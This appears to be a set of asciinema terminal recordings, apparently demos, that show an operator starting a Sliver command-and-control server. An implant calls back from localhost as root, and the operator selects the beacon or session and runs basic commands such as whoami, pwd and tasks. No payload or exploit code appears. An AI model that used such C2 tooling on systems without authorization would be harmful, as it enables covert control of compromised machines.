[56.459779, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[56.460412, "o", "\u001b[1A"]
|
||||
[56.461294, "o", "\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[57.368136, "o", "\u001b8"]
|
||||
[57.369636, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[57.372223, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;1;36m> BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[57.373112, "o", "\u001b[1A\u001b[0G"]
|
||||
[57.709284, "o", "\u001b8\u001b[0G"]
|
||||
[57.712666, "o", "\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[57.715117, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON df10fe87 CONTINUING_DOWNTOWN 127.0.0.1:60516 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[58.046505, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION d761c1c5 CONTINUING_DOWNTOWN 127.0.0.1:60532 98df0494f659 root linux/amd64\u001b[0m\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CONTINUING_DOWNTOWN (d761c1c5-a50f-402e-9988-eacfdc3f5d76)\r\n"]
|
||||
[58.081455, "o", "\r\n"]
|
||||
[58.097304, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[58.098031, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[58.098116, "o", "\u001b[6n"]
|
||||
[58.100344, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[58.101043, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[59.00066, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.008232, "o", "w\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[59.009408, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[59.034482, "o", "\u001b[?25l\u001b[107D"]
|
||||
[59.035378, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.038567, "o", "wh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[59.039195, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[59.081608, "o", "\u001b[?25l\u001b[107D"]
|
||||
[59.081798, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.084025, "o", "who\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[59.254427, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.266619, "o", "whoa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[59.267906, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[59.325631, "o", "\u001b[?25l"]
|
||||
[59.326094, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.331266, "o", "whoam\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[59.377568, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.383107, "o", "\u001b[1m\u001b[32mwhoami\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[59.588329, "o", "\u001b[37D\u001b[31C\u001b[6n"]
|
||||
[59.597529, "o", "\u001b[107D\u001b[37C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[59.610221, "o", "Logon ID: "]
|
||||
[59.611299, "o", "root\r\n\r\n"]
|
||||
[59.629554, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[59.629747, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[59.631833, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[61.017297, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.026385, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[61.02663, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[61.068058, "o", "\u001b[?25l"]
|
||||
[61.068722, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.071242, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[61.135517, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[61.136446, "o", "\u001b[6n"]
|
||||
[61.13851, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[61.240549, "o", "\u001b[?25l\u001b[107D"]
|
||||
[61.241615, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.245107, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[61.392645, "o", "\u001b[?25l\u001b[107D"]
|
||||
[61.393455, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.3964, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[61.397066, "o", "\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[61.446084, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.453962, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[61.463207, "o", "\u001b[?25l\u001b[107D"]
|
||||
[61.463456, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.466118, "o", "backgro\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[61.466614, "o", "\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[61.529749, "o", "\u001b[?25l"]
|
||||
[61.530447, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.533051, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[39D\u001b[31C\u001b[107D\u001b[39C"]
|
||||
[61.533581, "o", "\u001b[?25h"]
|
||||
[61.583812, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[61.584318, "o", "\u001b[6n"]
|
||||
[61.587406, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[61.58796, "o", "\u001b[107D\u001b[1A\u001b[40D\u001b[31C\u001b[107D\u001b[40C\u001b[?25h"]
|
||||
[61.649163, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[61.655788, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[41D\u001b[31C\u001b[107D\u001b[41C\u001b[?25h"]
|
||||
[61.783388, "o", "\u001b[41D\u001b[31C\u001b[6n"]
|
||||
[61.78635, "o", "\u001b[107D\u001b[41C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[61.787211, "o", "\u001b[0 q\r\n"]
|
||||
[61.810475, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
|
||||
[61.821059, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[61.821285, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[61.823176, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[62.090512, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.101672, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[62.103105, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[62.241817, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.249322, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[62.359108, "o", "\u001b[?25l"]
|
||||
[62.36363, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.370148, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[62.370341, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[62.472172, "o", "\u001b[?25l"]
|
||||
[62.474138, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[62.481703, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[62.483223, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[62.559049, "o", "\u001b[13D\u001b[9C"]
|
||||
[62.559802, "o", "\u001b[6n"]
|
||||
[62.561967, "o", "\u001b[107D\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[62.563209, "o", "\u001b[0 q\r\n"]
|
||||
[62.575201, "o", "Exiting...\r\n"]
|
||||
[62.590297, "o", "\u001b[?2004hroot@98df0494f659:~# "]
|
||||
[63.849189, "o", "e"]
|
||||
[64.004011, "o", "x"]
|
||||
[64.092826, "o", "i"]
|
||||
[64.22418, "o", "t"]
|
||||
[64.365779, "o", "\r\n"]
|
||||
[64.376672, "o", "\u001b[?2004l\rexit\r\n"]
|
||||
@@ -0,0 +1,438 @@
|
||||
{"version": 2, "width": 107, "height": 52, "timestamp": 1714589964, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
|
||||
[0.140524, "o", "\u001b[?2004h"]
|
||||
[0.148443, "o", "root@98df0494f659:~# "]
|
||||
[1.092972, "o", "."]
|
||||
[1.102658, "o", "/"]
|
||||
[1.244956, "o", "s"]
|
||||
[1.384103, "o", "l"]
|
||||
[1.451221, "o", "i"]
|
||||
[1.566295, "o", "v"]
|
||||
[1.65714, "o", "e"]
|
||||
[1.781979, "o", "r"]
|
||||
[1.875798, "o", "-"]
|
||||
[2.012557, "o", "s"]
|
||||
[2.054748, "o", "e"]
|
||||
[2.12507, "o", "r"]
|
||||
[2.314928, "o", "v"]
|
||||
[2.433486, "o", "e"]
|
||||
[2.51908, "o", "r"]
|
||||
[2.592513, "o", "\r\n"]
|
||||
[2.593653, "o", "\u001b[?2004l\r"]
|
||||
[3.68766, "o", "\u001b[1m\u001b[37m\r\r\n.------..------..------..------..------..------.\r\r\n|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |\r\r\n| :/\\: || :/\\: || (\\/) || :(): || (\\/) || :(): |\r\r\n| :\\/: || (__) || :\\/: || ()() || :\\/: || ()() |\r\r\n| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|\r\r\n`------'`------'`------'`------'`------'`------'\r\r\n\u001b[0m\r\nAll hackers gain infect\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mServer v1.5.39 - 0b235b4d42d4eb75684825f5d5b30da71ec57d26 - \u001b[1mDirty\u001b[0m\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mWelcome to the sliver shell, please type 'help' for options\r\r\n"]
|
||||
[3.691324, "o", "\r\n"]
|
||||
[3.71693, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[3.719317, "o", "\u001b[1 q"]
|
||||
[3.720852, "o", "\u001b[?25l"]
|
||||
[3.720936, "o", "\u001b[107D"]
|
||||
[3.721661, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[3.723556, "o", "\u001b[0m\u001b[0K\u001b[49m"]
|
||||
[3.724116, "o", "\r\r\n"]
|
||||
[3.724702, "o", "\u001b[0K"]
|
||||
[3.725093, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[9D\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[5.058535, "o", "\u001b[9D\u001b[9C"]
|
||||
[5.058773, "o", "\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 1c2fd3e4 CONTINUING_DOWNTOWN - 127.0.0.1:60476 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 18:59:29 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[5.061131, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[9D"]
|
||||
[5.061739, "o", "\u001b[9C\u001b[107D\u001b[9C\u001b[?25h"]
|
||||
[6.880052, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.892592, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[6.894748, "o", "\u001b[10D\u001b[9C\u001b[107D\u001b[10C\u001b[?25h"]
|
||||
[6.986727, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[6.994765, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[11D\u001b[9C\u001b[107D\u001b[11C\u001b[?25h"]
|
||||
[7.089687, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[7.092, "o", "\u001b[6n"]
|
||||
[7.101323, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[12D\u001b[9C\u001b[107D\u001b[12C\u001b[?25h"]
|
||||
[7.222552, "o", "\u001b[?25l"]
|
||||
[7.22397, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[7.231476, "o", "\u001b[1m\u001b[32muse \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[7.232508, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[13D\u001b[9C\u001b[107D\u001b[13C\u001b[?25h"]
|
||||
[7.702976, "o", "\u001b[13D\u001b[9C"]
|
||||
[7.704889, "o", "\u001b[6n"]
|
||||
[7.70799, "o", "\u001b[107D"]
|
||||
[7.708825, "o", "\u001b[13C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[7.71392, "o", "\u001b[0 q"]
|
||||
[7.715073, "o", "\r\n"]
|
||||
[7.754419, "o", "\u001b7\u001b[?25l"]
|
||||
[7.755692, "o", "\u001b8\u001b[0G\u001b[2K"]
|
||||
[7.767926, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON 1c2fd3e4 CONTINUING_DOWNTOWN 127.0.0.1:60476 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON 336eb77f CONTINUING_DOWNTOWN 127.0.0.1:60442 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON dd8121c1 CONTINUING_DOWNTOWN 127.0.0.1:60460 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
|
||||
[7.771409, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
|
||||
[7.771878, "o", "\u001b[1A\u001b[0G"]
|
||||
[11.070565, "o", "\u001b8\u001b[?25h\u001b8\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
|
||||
[11.071419, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON 1c2fd3e4 CONTINUING_DOWNTOWN 127.0.0.1:60476 98df0494f659 root linux/amd64\u001b[0m\r\n"]
|
||||
[11.079814, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon CONTINUING_DOWNTOWN (1c2fd3e4-045b-445c-9cbc-7c955a42710c)\r\n"]
|
||||
[11.130002, "o", "\r\n"]
|
||||
[11.141528, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[11.141978, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[11.143698, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[12.218211, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l"]
|
||||
[12.218731, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[12.224874, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[12.22569, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[13.32985, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[13.345968, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[13.347979, "o", "\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[13.488396, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[13.489622, "o", "\u001b[6n"]
|
||||
[13.493719, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[13.580168, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[13.580976, "o", "\u001b[6n"]
|
||||
[13.59193, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[13.593041, "o", "\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[13.755221, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[13.757586, "o", "\u001b[6n"]
|
||||
[13.767033, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[13.797975, "o", "\u001b[?25l"]
|
||||
[13.798407, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[13.801808, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[14.330079, "o", "\u001b[36D\u001b[31C\u001b[6n"]
|
||||
[14.339172, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[14.339882, "o", "\u001b[0 q\r\n"]
|
||||
[14.374826, "o", " ID State Message Type Created Sent Completed \r\n==== ======= ============== ========= ====== ===========\r\n"]
|
||||
[14.37569, "o", "\r\n\r\n"]
|
||||
[14.389895, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[14.390054, "o", "\u001b[1 q"]
|
||||
[14.391627, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[14.393573, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[14.394075, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[15.74266, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[15.752601, "o", "\u001b[6n"]
|
||||
[15.756241, "o", "p\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[15.75659, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[16.027773, "o", "\u001b[?25l\u001b[107D"]
|
||||
[16.030576, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.037738, "o", "pw\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[16.107478, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.111582, "o", "\u001b[1m\u001b[32mpwd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[16.219819, "o", "\u001b[34D\u001b[31C"]
|
||||
[16.220708, "o", "\u001b[6n"]
|
||||
[16.225655, "o", "\u001b[107D\u001b[34C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[16.247539, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (3b339091)\r\n"]
|
||||
[16.248147, "o", "\r\n"]
|
||||
[16.262404, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[16.262572, "o", "\u001b[1 q\u001b[?25l\u001b[107D"]
|
||||
[16.263191, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[16.265419, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[17.822584, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
